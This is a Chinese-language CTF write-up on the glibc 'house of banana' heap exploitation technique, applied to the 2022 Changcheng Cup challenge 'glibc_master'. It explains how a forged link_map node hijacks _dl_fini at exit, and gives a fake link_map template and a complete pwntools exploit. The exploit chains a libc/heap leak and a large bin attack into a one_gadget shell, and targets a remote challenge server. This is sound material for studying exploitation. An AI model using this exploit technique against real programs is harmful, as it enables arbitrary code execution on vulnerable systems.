house_of_banana

前言

借2022长城杯的一道题学习 house_of_banana。

House_Of_Banana 原理

详细原理可以直接查看放在学习链接里的文章,我也是通过这篇文章学习的,内容就不搬过来了。

house_of_banana 攻击的是 _rtld_global 的 link_map 链表,通过正常 main 函数返回或者调用 exit 退出,触发函数调用链:exit()->_dl_fini->(fini_t)array[i]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void
_dl_fini (void)
{
...
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

__rtld_lock_unlock_recursive (GL(dl_load_lock));

for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i]; //l遍历link_map的链表

if (l->l_init_called) //重要的检查点
{
l->l_init_called = 0;

/* Is there a destructor function? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| (ELF_INITFINI && l->l_info[DT_FINI] != NULL))
{
/* When debugging print a message first. */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);

/* First see whether an array is given. */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}

....
}

重点关注:

1
2
3
4
5
6
7
8
9
10
     if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); //目标位置
}

DT_FINI_ARRAY 宏定义为 26,DT_FINI_ARRAYSZ 宏定义为 28。d_un.d_ptr 则是取 +8 处的指针,d_un.d_val 则是取 +8 处的值。

在有些情况下,rtld_global_ptr 与 libc_base 的偏移在本地与远程并不是固定的,远程的 ld.so 以及 TLS 等结构的地址与 libc 地址之间的偏移与本地的会不一样,但是大致处于一个范围内,并且,在同一个系统里,这个差值是固定的,其差值的变化往往在偏移的第 1.5BYTE~2.5BYTE 的位置,即地址十六进制的第4、5个数(末三位不变),因此我们只需爆破两个十六进制数即可。

利用

通过 large bin attack 替换 link_map 链表第3节点的 l_next。

可以利用下面的命令查看需要修改的地址。

1
2
3
distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
或者
p &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)

image-20220825143354716

link_map 布局:

1
2
3
4
5
6
7
8
# fake 是写入到 link_map 链表,伪造成第4节点的堆块地址
*(fake+0x28) = fake # l == l->l_real
*(fake+0x48) = fake + 0x58,
*(fake+0x50) = 0x8
*(fake+0x58) = shell
*(fake+0x110) = fake + 0x40
*(fake+0x120) = fake + 0x48
(int)*(fake+0x31c) = 0x9 # l->l_init_called > 8

模板参考:

1
2
3
4
5
6
7
8
ogg = leak + 0xe6c7e
fake = heap + offset # 布局堆所在地址
fake_link_map = b''
fake_link_map = fake_link_map.ljust(0x18, b'\x00') + p64(fake) # l == l->l_real
fake_link_map = fake_link_map.ljust(0x38, b'\x00') + p64(fake+0x58) + p64(8) + p64(ogg)
fake_link_map = fake_link_map.ljust(0x100, b'\x00') + p64(fake+0x40)
fake_link_map += p64(0) + p64(fake+0x48)
fake_link_map = fake_link_map.ljust(0x30C, b'\x00') + p32(9) # l->l_init_called > 8

总结

适用版本:目前已知版本都可以攻击利用。

攻击前提:

  1. 需要通过正常 main 函数返回或者调用 exit 退出来触发利用链。
  2. 拥有堆地址和 libc 地址。
  3. 只需要一次往任意地址(link_map 中链表的 l_next 指针)写一个可控地址。

题目 glibc-master

image-20220825143519008

申请函数,只允许申请到0x40f~0x60f的堆块。

image-20220825143505081

释放时存在UAF。

image-20220825143604709

打印函数只允许打印两次,但是能直接打印地址。

image-20220825143628967

image-20220825143758891

编辑函数把真正操作堆块内容的部分都隐藏了,无法反汇编,只能查看汇编语言进行分析。嫌麻烦,没去分析,选择直接去调试,发现只要写入的数据长度小于申请的size就是正常的写入,如果等于,输入的内容就会被更改成垃圾数据。

所以这题使用 house of banana 打的话,不难,利用好 largebin attack 即可。

要使用 house of banana,是需要有 libc 和 堆地址的,libc比较容易,申请释放一个堆块即可。

image-20220825144305886

因为打印函数是 puts,存在 ‘\x00’阻断,所以堆地址需要在 fd 上才能被打印出来。大堆块自然能够想到都是 large bin 时,fd是会指向堆块的,也就可以泄露出堆地址。

image-20220825144537239

接着就是利用 largebin attack 写入堆地址,再将堆块伪造成 link_map 的节点。

image-20220825144842830

然后成功 getshell。

image-20220825144055306

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!usr/bin/env python 
#coding=utf-8
from errno import EDEADLK
from re import S
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./glibc_master')
DEBUG = 1
if DEBUG:
libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/libc-2.31.so")
ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:
ip = '123.56.77.227'
port = 42231
#libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def add(idx, size):
p.sendlineafter(b">>", b'1')
p.recvuntil(b"input index:\n")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"input size:\n")
p.sendline(str(size).encode('ascii'))


def edit(idx, content):
p.sendlineafter(b">>", b'2')
p.recvuntil(b"input index:\n")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b"input context:\n")
p.sendline(content)


def show(idx):
p.sendlineafter(b">>", b'3')
p.recvuntil(b"input index:\n")
p.sendline(str(idx).encode('ascii'))


def free(idx):
p.sendlineafter(b">>", b'4')
p.recvuntil(b"input index:\n")
p.sendline(str(idx).encode('ascii'))

add(0, 0x428)
add(1, 0x410)
add(2, 0x418)
add(3, 0x410)
free(0)
show(0)
leak = u64(p.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
log.info("libc_base==>0x%x" %leak)
add(4, 0x500)
free(2)
add(5, 0x500)
show(0)
heap = u64(p.recv(6).ljust(8, b'\x00')) - 0xae0
log.info("heap_base==>0x%x" %heap)
add(6, 0x418)
free(6)
fd = leak + 0x1ebfd0
target = 0x1f2018 + leak
edit(0, p64(fd)*2 + p64(heap+0x290) + p64(target-0x20))
add(7, 0x500)
ogg = leak + 0xe6c7e
fake = heap + 0xae0
fake_link_map = b''
fake_link_map = fake_link_map.ljust(0x18, b'\x00') + p64(fake)
fake_link_map = fake_link_map.ljust(0x38, b'\x00') + p64(fake+0x58) + p64(8) + p64(ogg)
fake_link_map = fake_link_map.ljust(0x100, b'\x00') + p64(fake+0x40)
fake_link_map += p64(0) + p64(fake+0x48)
fake_link_map = fake_link_map.ljust(0x30C, b'\x00') + p32(9)
edit(2, fake_link_map)
p.sendlineafter(b">>", b'1')
p.recvuntil(b"input index:\n")

#debug()
p.sendline(b'30')
p.interactive()

学习链接

https://www.anquanke.com/post/id/222948#h2-9

https://zhuanlan.zhihu.com/p/535469996

查看评论